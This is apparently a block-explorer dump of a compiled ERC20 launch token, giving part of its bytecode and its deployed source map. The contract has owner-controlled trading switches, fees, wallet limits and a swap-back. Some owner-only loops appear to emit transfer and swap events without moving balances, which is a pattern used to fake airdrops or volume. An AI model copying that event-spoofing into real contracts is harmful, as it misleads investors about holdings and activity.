0190508181036000830152614832816147f6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614895602583613a63565b91506148a082614839565b604082019050919050565b600060208201905081810360008301526148c481614888565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614927602383613a63565b9150614932826148cb565b604082019050919050565b600060208201905081810360008301526149568161491a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000614993601683613a63565b915061499e8261495d565b602082019050919050565b600060208201905081810360008301526149c281614986565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e65207075726368617365207065722074776f206260208201527f6c6f636b7320616c6c6f7765642e000000000000000000000000000000000000604082015250565b6000614a4b604e83613a63565b9150614a56826149c9565b606082019050919050565b60006020820190508181036000830152614a7a81614a3e565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000614add603583613a63565b9150614ae882614a81565b604082019050919050565b60006020820190508181036000830152614b0c81614ad0565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614b49601383613a63565b9150614b5482614b13565b602082019050919050565b60006020820190508181036000830152614b7881614b3c565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000614bdb603683613a63565b9150614be682614b7f565b604082019050919050565b60006020820190508181036000830152614c0a81614bce565b9050919050565b6000614c1c826139e2565b9150614c27836139e2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614c6057614c5f614124565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614ca5826139e2565b9150614cb0836139e2565b925082614cc057614cbf614c6b565b5b828204905092915050565b6000614cd6826139e2565b9150614ce1836139e2565b925082821015614cf457614cf3614124565b5b828203905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614d5b602683613a63565b9150614d6682614cff565b604082019050919050565b60006020820190508181036000830152614d8a81614d4e565b9050919050565b600081905092915050565b50565b6000614dac600083614d91565b9150614db782614d9c565b600082019050919050565b6000614dcd82614d9f565b9150819050919050565b6000606082019050614dec6000830186613c8e565b614df96020830185613c8e565b614e066040830184613c8e565b949350505050565b600081519050614e1d81613b45565b92915050565b600060208284031215614e3957614e386139d8565b5b6000614e4784828501614e0e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614e8581613b33565b82525050565b6000614e978383614e7c565b60208301905092915050565b6000602082019050919050565b6000614ebb82614e50565b614ec58185614e5b565b9350614ed083614e6c565b8060005b83811015614f01578151614ee88882614e8b565b9750614ef383614ea3565b925050600181019050614ed4565b5085935050505092915050565b600060a082019050614f236000830188613c8e565b614f30602083018761462f565b8181036040830152614f428186614eb0565b9050614f516060830185613d0b565b614f5e6080830184613c8e565b9695505050505050565b600060c082019050614f7d6000830189613d0b565b614f8a6020830188613c8e565b614f97604083018761462f565b614fa4606083018661462f565b614fb16080830185613d0b565b614fbe60a0830184613c8e565b979650505050505050565b600080600060608486031215614fe257614fe16139d8565b5b6000614ff0868287016143e0565b9350506020615001868287016143e0565b9250506040615012868287016143e0565b915050925092509256fea2646970667358221220f41f13e7970e6b60fed1654613f34f243311b5dddb8181dc6c8b4837cba9002964736f6c63430008090033

Deployed Bytecode Sourcemap

28092:15345:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33396:356;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8724:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10891:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29410:63;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28175:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9844:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34458:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29194:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11542:492;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28278:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9686:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;43074:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;42820:246;;;;;;;;;;;;;:::i;:::-;;28233:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28624:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34623:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33041:347;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;40174:85;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29081:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28704:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10015:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2194:144;;;;;;;;;;;;;:::i;:::-;;32533:121;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32662:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29042:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32369:112;;;;;;;;;;;;;:::i;:::-;;1543:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28370:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29154:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32933:100;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8943:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39942:220;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;33950:304;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29234:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40271:291;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10355:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40578:260;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29631:57;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28664:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33760:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;28922:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28509:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28971:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10593:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28551:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29005:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2493:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29116:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28591:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33396:356;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;33540:13:::1;33521:16;:32;;;;33583:13;33564:16;:32;;;;33642:16;;33623;;:35;;;;:::i;:::-;33607:13;:51;;;;33694:2;33677:13;;:19;;33669:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;33396:356:::0;;:::o;8724:100::-;8778:13;8811:5;8804:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8724:100;:::o;10891:169::-;10974:4;10991:39;11000:12;:10;:12::i;:::-;11014:7;11023:6;10991:8;:39::i;:::-;11048:4;11041:11;;10891:169;;;;:::o;29410:63::-;;;;;;;;;;;;;;;;;;;;;;:::o;28175:51::-;;;:::o;9844:108::-;9905:7;9932:12;;9925:19;;9844:108;:::o;34458:157::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;34565:9:::1;;;;;;;;;;;34537:38;;34554:9;34537:38;;;;;;;;;;;;34598:9;34586;;:21;;;;;;;;;;;;;;;;;;34458:157:::0;:::o;29194:33::-;;;;:::o;11542:492::-;11682:4;11699:36;11709:6;11717:9;11728:6;11699:9;:36::i;:::-;11748:24;11775:11;:19;11787:6;11775:19;;;;;;;;;;;;;;;:33;11795:12;:10;:12::i;:::-;11775:33;;;;;;;;;;;;;;;;11748:60;;11847:6;11827:16;:26;;11819:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;11934:57;11943:6;11951:12;:10;:12::i;:::-;11984:6;11965:16;:25;11934:8;:57::i;:::-;12022:4;12015:11;;;11542:492;;;;;:::o;28278:53::-;28324:6;28278:53;:::o;9686:93::-;9744:5;9769:2;9762:9;;9686:93;:::o;43074:358::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;43182:1:::1;43164:20;;:6;:20;;;;43156:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;43252:4;43234:23;;:6;:23;;;;43226:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;43301:24;43335:6;43328:24;;;43361:4;43328:39;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;43301:66;;43385:6;43378:23;;;43402:3;43407:16;43378:46;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;43145:287;43074:358:::0;;:::o;42820:246::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;42870:15:::1;42903:4;42888:31;;;42928:4;42888:46;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42870:64;;42960:4;42945:30;;;42976:10;42988:7;42945:51;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;43015:10;43007:28;;:51;43036:21;43007:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;42859:207;42820:246::o:0;28233:38::-;;;:::o;28624:33::-;;;;;;;;;;;;;:::o;34623:126::-;34689:4;34713:19;:28;34733:7;34713:28;;;;;;;;;;;;;;;;;;;;;;;;;34706:35;;34623:126;;;:::o;33041:347::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;33183:13:::1;33165:15;:31;;;;33225:13;33207:15;:31;;;;33282:15;;33264;;:33;;;;:::i;:::-;33249:12;:48;;;;33332:2;33316:12;;:18;;33308:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;33041:347:::0;;:::o;40174:85::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;40244:7:::1;40236:5;;:15;;;;;;;;;;;;;;;;;;40174:85:::0;:::o;29081:28::-;;;;:::o;28704:31::-;;;;;;;;;;;;;:::o;10015:127::-;10089:7;10116:9;:18;10126:7;10116:18;;;;;;;;;;;;;;;;10109:25;;10015:127;;;:::o;2194:144::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2259:71:::1;2286:42;2259:18;:71::i;:::-;2194:144::o:0;32533:121::-;32585:4;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;32619:5:::1;32602:14;;:22;;;;;;;;;;;;;;;;;;32642:4;32635:11;;32533:121:::0;:::o;32662:167::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;32817:4:::1;32775:31;:39;32807:6;32775:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;32662:167:::0;;:::o;29042:30::-;;;;:::o;32369:112::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;32440:4:::1;32424:13;;:20;;;;;;;;;;;;;;;;;;32469:4;32455:11;;:18;;;;;;;;;;;;;;;;;;32369:112::o:0;1543:87::-;1589:7;1616:6;;;;;;;;;;;1609:13;;1543:87;:::o;28370:24::-;;;;;;;;;;;;;:::o;29154:31::-;;;;:::o;32933:100::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;33018:7:::1;33004:11;;:21;;;;;;;;;;;;;;;;;;32933:100:::0;:::o;8943:104::-;8999:13;9032:7;9025:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8943:104;:::o;39942:220::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;40047:9:::1;40043:112;40066:5;:12;40062:1;:16;40043:112;;;40126:5;40132:1;40126:8;;;;;;;;:::i;:::-;;;;;;;;40105:38;;40114:10;40105:38;;;40136:6;40105:38;;;;;;:::i;:::-;;;;;;;;40080:3;;;;;:::i;:::-;;;;40043:112;;;;39942:220:::0;;:::o;33950:304::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;34094:13:::1;34086:21;;:4;:21;;;;34064:128;;;;;;;;;;;;:::i;:::-;;;;;;;;;34205:41;34234:4;34240:5;34205:28;:41::i;:::-;33950:304:::0;;:::o;29234:27::-;;;;:::o;40271:291::-;40373:9;40368:187;40392:11;;:18;;40388:1;:22;40368:187;;;40471:11;;40483:1;40471:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;40437:49;;40442:10;;;;;;;;;;;40437:49;;;40454:3;40459:1;40462;40465:4;40437:49;;;;;;;;;:::i;:::-;;;;;;;;40522:11;;40534:1;40522:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;40506:37;;40515:5;;;;;;;;;;;40506:37;;;40538:4;40506:37;;;;;;:::i;:::-;;;;;;;;40412:3;;;;;:::i;:::-;;;;40368:187;;;;40271:291;;;;:::o;10355:175::-;10441:4;10458:42;10468:12;:10;:12::i;:::-;10482:9;10493:6;10458:9;:42::i;:::-;10518:4;10511:11;;10355:175;;;;:::o;40578:260::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;40712:13:::1;40693:16;:32;;;;40755:13;40736:16;:32;;;;40814:16;;40795;;:35;;;;:::i;:::-;40779:13;:51;;;;40578:260:::0;;:::o;29631:57::-;;;;;;;;;;;;;;;;;;;;;;:::o;28664:33::-;;;;;;;;;;;;;:::o;33760:182::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;33876:8:::1;33845:19;:28;33865:7;33845:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;33916:7;33900:34;;;33925:8;33900:34;;;;;;:::i;:::-;;;;;;;;33760:182:::0;;:::o;28922:40::-;;;;;;;;;;;;;:::o;28509:35::-;;;;:::o;28971:27::-;;;;:::o;10593:151::-;10682:7;10709:11;:18;10721:5;10709:18;;;;;;;;;;;;;;;:27;10728:7;10709:27;;;;;;;;;;;;;;;;10702:34;;10593:151;;;;:::o;28551:33::-;;;;:::o;29005:30::-;;;;:::o;2493:201::-;1774:12;:10;:12::i;:::-;1763:23;;:7;:5;:7::i;:::-;:23;;;1755:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2602:1:::1;2582:22;;:8;:22;;;;2574:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2658:28;2677:8;2658:18;:28::i;:::-;2493:201:::0;:::o;29116:31::-;;;;:::o;28591:24::-;;;;:::o;211:98::-;264:7;291:10;284:17;;211:98;:::o;15315:380::-;15468:1;15451:19;;:5;:19;;;;15443:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15549:1;15530:21;;:7;:21;;;;15522:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15633:6;15603:11;:18;15615:5;15603:18;;;;;;;;;;;;;;;:27;15622:7;15603:27;;;;;;;;;;;;;;;:36;;;;15671:7;15655:32;;15664:5;15655:32;;;15680:6;15655:32;;;;;;:::i;:::-;;;;;;;;15315:380;;;:::o;34757:4576::-;34905:1;34889:18;;:4;:18;;;;34881:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;34982:1;34968:16;;:2;:16;;;;34960:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;35051:1;35041:6;:11;35037:93;;;35069:28;35085:4;35091:2;35095:1;35069:15;:28::i;:::-;35112:7;;35037:93;35146:14;;;;;;;;;;;35142:2496;;;35207:7;:5;:7::i;:::-;35199:15;;:4;:15;;;;:49;;;;;35241:7;:5;:7::i;:::-;35235:13;;:2;:13;;;;35199:49;:86;;;;;35283:1;35269:16;;:2;:16;;;;35199:86;:128;;;;;35320:6;35306:21;;:2;:21;;;;35199:128;:158;;;;;35349:8;;;;;;;;;;;35348:9;35199:158;35177:2450;;;35397:13;;;;;;;;;;;35392:223;;35469:19;:25;35489:4;35469:25;;;;;;;;;;;;;;;;;;;;;;;;;:52;;;;35498:19;:23;35518:2;35498:23;;;;;;;;;;;;;;;;;;;;;;;;;35469:52;35435:160;;;;;;;;;;;;:::i;:::-;;;;;;;;;35392:223;35771:20;;;;;;;;;;;35767:650;;;35852:7;:5;:7::i;:::-;35846:13;;:2;:13;;;;:72;;;;;35902:15;35888:30;;:2;:30;;;;35846:72;:129;;;;;35961:13;35947:28;;:2;:28;;;;35846:129;35816:582;;;36143:12;36106:1;36064:28;:39;36093:9;36064:39;;;;;;;;;;;;;;;;:43;;;;:::i;:::-;:91;36026:267;;;;;;;;;;;;:::i;:::-;;;;;;;;;36362:12;36320:28;:39;36349:9;36320:39;;;;;;;;;;;;;;;:54;;;;35816:582;35767:650;36491:25;:31;36517:4;36491:31;;;;;;;;;;;;;;;;;;;;;;;;;:92;;;;;36548:31;:35;36580:2;36548:35;;;;;;;;;;;;;;;;;;;;;;;;;36547:36;36491:92;36465:1147;;;36670:20;;36660:6;:30;;36626:169;;;;;;;;;;;;:::i;:::-;;;;;;;;;36878:9;;36861:13;36871:2;36861:9;:13::i;:::-;36852:6;:22;;;;:::i;:::-;:35;;36818:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;36465:1147;;;37056:25;:29;37082:2;37056:29;;;;;;;;;;;;;;;;;;;;;;;;;:92;;;;;37111:31;:37;37143:4;37111:37;;;;;;;;;;;;;;;;;;;;;;;;;37110:38;37056:92;37030:582;;;37235:20;;37225:6;:30;;37191:170;;;;;;;;;;;;:::i;:::-;;;;;;;;;37030:582;;;37392:31;:35;37424:2;37392:35;;;;;;;;;;;;;;;;;;;;;;;;;37387:225;;37512:9;;37495:13;37505:2;37495:9;:13::i;:::-;37486:6;:22;;;;:::i;:::-;:35;;37452:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;37387:225;37030:582;36465:1147;35177:2450;35142:2496;37650:28;37681:24;37699:4;37681:9;:24::i;:::-;37650:55;;37718:12;37757:18;;37733:20;:42;;37718:57;;37806:7;:35;;;;;37830:11;;;;;;;;;;;37806:35;:61;;;;;37859:8;;;;;;;;;;;37858:9;37806:61;:110;;;;;37885:25;:31;37911:4;37885:31;;;;;;;;;;;;;;;;;;;;;;;;;37884:32;37806:110;:153;;;;;37934:19;:25;37954:4;37934:25;;;;;;;;;;;;;;;;;;;;;;;;;37933:26;37806:153;:194;;;;;37977:19;:23;37997:2;37977:23;;;;;;;;;;;;;;;;;;;;;;;;;37976:24;37806:194;37788:326;;;38038:4;38027:8;;:15;;;;;;;;;;;;;;;;;;38059:10;:8;:10::i;:::-;38097:5;38086:8;;:16;;;;;;;;;;;;;;;;;;37788:326;38126:12;38142:8;;;;;;;;;;;38141:9;38126:24;;38252:19;:25;38272:4;38252:25;;;;;;;;;;;;;;;;;;;;;;;;;:52;;;;38281:19;:23;38301:2;38281:23;;;;;;;;;;;;;;;;;;;;;;;;;38252:52;38248:100;;;38331:5;38321:15;;38248:100;38360:12;38465:7;38461:819;;;38517:25;:29;38543:2;38517:29;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;;38566:1;38550:13;;:17;38517:50;38513:618;;;38595:34;38625:3;38595:25;38606:13;;38595:6;:10;;:25;;;;:::i;:::-;:29;;:34;;;;:::i;:::-;38588:41;;38698:13;;38678:16;;38671:4;:23;;;;:::i;:::-;38670:41;;;;:::i;:::-;38648:18;;:63;;;;;;;:::i;:::-;;;;;;;;38774:13;;38754:16;;38747:4;:23;;;;:::i;:::-;38746:41;;;;:::i;:::-;38730:12;;:57;;;;;;;:::i;:::-;;;;;;;;38513:618;;;38849:25;:31;38875:4;38849:31;;;;;;;;;;;;;;;;;;;;;;;;;:51;;;;;38899:1;38884:12;;:16;38849:51;38845:286;;;38928:33;38957:3;38928:24;38939:12;;38928:6;:10;;:24;;;;:::i;:::-;:28;;:33;;;;:::i;:::-;38921:40;;39029:12;;39010:15;;39003:4;:22;;;;:::i;:::-;39002:39;;;;:::i;:::-;38980:18;;:61;;;;;;;:::i;:::-;;;;;;;;39103:12;;39084:15;;39077:4;:22;;;;:::i;:::-;39076:39;;;;:::i;:::-;39060:12;;:55;;;;;;;:::i;:::-;;;;;;;;38845:286;38513:618;39158:1;39151:4;:8;39147:91;;;39180:42;39196:4;39210;39217;39180:15;:42::i;:::-;39147:91;39264:4;39254:14;;;;;:::i;:::-;;;38461:819;39292:33;39308:4;39314:2;39318:6;39292:15;:33::i;:::-;34870:4463;;;;34757:4576;;;;:::o;2854:191::-;2928:16;2947:6;;;;;;;;;;;2928:25;;2973:8;2964:6;;:17;;;;;;;;;;;;;;;;;;3028:8;2997:40;;3018:8;2997:40;;;;;;;;;;;;2917:128;2854:191;:::o;34262:188::-;34379:5;34345:25;:31;34371:4;34345:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;34436:5;34402:40;;34430:4;34402:40;;;;;;;;;;;;34262:188;;:::o;12532:733::-;12690:1;12672:20;;:6;:20;;;;12664:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;12774:1;12753:23;;:9;:23;;;;12745:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12829:47;12850:6;12858:9;12869:6;12829:20;:47::i;:::-;12889:21;12913:9;:17;12923:6;12913:17;;;;;;;;;;;;;;;;12889:41;;12966:6;12949:13;:23;;12941:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;13087:6;13071:13;:22;13051:9;:17;13061:6;13051:17;;;;;;;;;;;;;;;:42;;;;13139:6;13115:9;:20;13125:9;13115:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;13180:9;13163:35;;13172:6;13163:35;;;13191:6;13163:35;;;;;;:::i;:::-;;;;;;;;13211:46;13231:6;13239:9;13250:6;13211:19;:46::i;:::-;12653:612;12532:733;;;:::o;41373:1439::-;41412:23;41438:24;41456:4;41438:9;:24::i;:::-;41412:50;;41473:25;41535:12;;41501:18;;:46;;;;:::i;:::-;41473:74;;41558:12;41606:1;41587:15;:20;:46;;;;41632:1;41611:17;:22;41587:46;41583:85;;;41650:7;;;;;41583:85;41723:2;41702:18;;:23;;;;:::i;:::-;41684:15;:41;41680:115;;;41781:2;41760:18;;:23;;;;:::i;:::-;41742:41;;41680:115;41856:23;41969:1;41936:17;41901:18;;41883:15;:36;;;;:::i;:::-;41882:71;;;;:::i;:::-;:88;;;;:::i;:::-;41856:114;;41981:26;42010:36;42030:15;42010;:19;;:36;;;;:::i;:::-;41981:65;;42059:25;42087:21;42059:49;;42121:36;42138:18;42121:16;:36::i;:::-;42170:18;42191:44;42217:17;42191:21;:25;;:44;;;;:::i;:::-;42170:65;;42248:17;42268:51;42301:17;42268:28;42283:12;;42268:10;:14;;:28;;;;:::i;:::-;:32;;:51;;;;:::i;:::-;42248:71;;42332:23;42371:9;42358:10;:22;;;;:::i;:::-;42332:48;;42414:1;42393:18;:22;;;;42441:1;42426:12;:16;;;;42477:9;;;;;;;;;;;42469:23;;42500:9;42469:45;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42455:59;;;;;42549:1;42531:15;:19;:42;;;;;42572:1;42554:15;:19;42531:42;42527:278;;;42590:46;42603:15;42620;42590:12;:46::i;:::-;42656:137;42689:18;42726:15;42760:18;;42656:137;;;;;;;;:::i;:::-;;;;;;;;42527:278;41401:1411;;;;;;;;;41373:1439;:::o;20449:98::-;20507:7;20538:1;20534;:5;;;;:::i;:::-;20527:12;;20449:98;;;;:::o;20848:::-;20906:7;20937:1;20933;:5;;;;:::i;:::-;20926:12;;20848:98;;;;:::o;16297:125::-;;;;:::o;17026:124::-;;;;:::o;20092:98::-;20150:7;20181:1;20177;:5;;;;:::i;:::-;20170:12;;20092:98;;;;:::o;39341:589::-;39467:21;39505:1;39491:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39467:40;;39536:4;39518;39523:1;39518:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;39562:15;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;39552:4;39557:1;39552:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;39597:62;39614:4;39629:15;39647:11;39597:8;:62::i;:::-;39698:15;:66;;;39779:11;39805:1;39849:4;39876;39896:15;39698:224;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39396:534;39341:589;:::o;40852:513::-;41000:62;41017:4;41032:15;41050:11;41000:8;:62::i;:::-;41105:15;:31;;;41144:9;41177:4;41197:11;41223:1;41266;41309:7;:5;:7::i;:::-;41331:15;41105:252;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;40852:513;;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607: